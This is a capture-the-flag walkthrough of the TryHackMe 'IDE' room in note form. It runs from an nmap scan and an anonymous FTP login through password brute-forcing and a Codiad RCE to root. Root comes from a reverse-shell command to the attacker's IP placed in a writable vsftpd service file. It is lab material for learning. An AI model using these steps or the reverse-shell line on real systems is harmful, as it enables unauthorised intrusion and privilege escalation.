IDE

IDE
https://tryhackme.com/room/ide

- **Information Gathering**
  - ip: 10.10.87.0
- **Rnamuraton**
  - Scan the ip with nmap: `nmap -v -A -p 1-65535 10.10.87.0 nmap_scan.txt`
    - 4 port open
    - 21, 22, 80, 62337
    - 21 is ftp
      - Anonymous login supported
    - 62337 is interesting
      - http: Apache httpd 2.4.29 ((Ubuntu))
      - http-title: Codiad 2.8.4
      - Running: Codiad 2.8.4
- **Exploitation**
  - Login via FTP anonymously
    - Found interesting directory “ `...` ”
    - Inside that directory found interesting file “`-`”
    - Inside that file found a username “****” and his password is changed to defalut
  - Browsed port 62337
    - Found a login page
    - Tried to login with user name “****”
      - Intercept the login request with burp
      - Send it to intruder
      - Used sniper attack on passwod field
        - Found password “****”
  - Codiad 2.8.4 is vulnerable to RCE
    - Used that vulnerability to gain reverse shell as "www-data"
- **Privilege Escalation**
  - Escalate to lower previlaged user
    - Found an user at /home
    - Unable to read user.txt
    - But interestingly can read .bash_history and found a command with user “****” and password “****”
    - Login via SSH using username and password
    - Got the user
      - Now can read user.txt
  - Escalate to root
    - Run *`sudo -l`*
    - Found user can run `service vsftpd restart` as sudo
    - Download LinEnum.sh script and run
    - Found that the user can edit `/lib/systemd/system/vsftpd.service`
      - `-rw-rw-r-- 1 root drac  248 Aug  4  2021 vsftpd.service`
    - Edit `ExecStart=/bin/bash -c "bash -i >/dev/tcp/10.8.16.20/8888 0>&1 2>&1"`
    - Reload "vsftpd daemon" with `systemctl daemon-reload`
    - Lisen on host with `nc -lnvp 8888`

→ Run `sudo service vsftpd restart`

→ Got the root

  ⇒ Now can read root.txt